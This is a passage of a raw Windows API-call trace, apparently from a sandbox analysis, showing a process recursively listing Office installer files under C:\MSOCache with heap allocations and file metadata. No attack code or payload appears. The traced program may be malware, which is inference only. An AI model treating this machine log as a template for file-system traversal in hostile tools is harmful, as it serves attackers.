ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.180] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0076.180] GetProcessHeap () returned 0x470000 [0076.180] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0076.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491d80 [0076.183] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.184] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0076.184] GetProcessHeap () returned 0x470000 [0076.184] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.186] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.187] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.187] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.187] GetProcessHeap () returned 0x470000 [0076.187] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.188] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0076.188] GetProcessHeap () returned 0x470000 [0076.188] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.191] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.191] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0076.191] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0076.191] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0076.192] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.192] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.192] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.193] GetProcessHeap () returned 0x470000 [0076.193] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.193] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0076.193] GetProcessHeap () returned 0x470000 [0076.193] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.197] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.197] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0076.197] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0076.198] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0076.198] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.198] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.198] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.199] GetProcessHeap () returned 0x470000 [0076.199] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.199] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0076.199] GetProcessHeap () returned 0x470000 [0076.199] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.525] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.525] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0076.525] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0076.526] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0076.526] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.526] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.526] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.666] GetProcessHeap () returned 0x470000 [0076.666] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.666] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0076.666] GetProcessHeap () returned 0x470000 [0076.666] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.666] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.666] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.667] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0076.667] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0076.667] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0076.667] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, 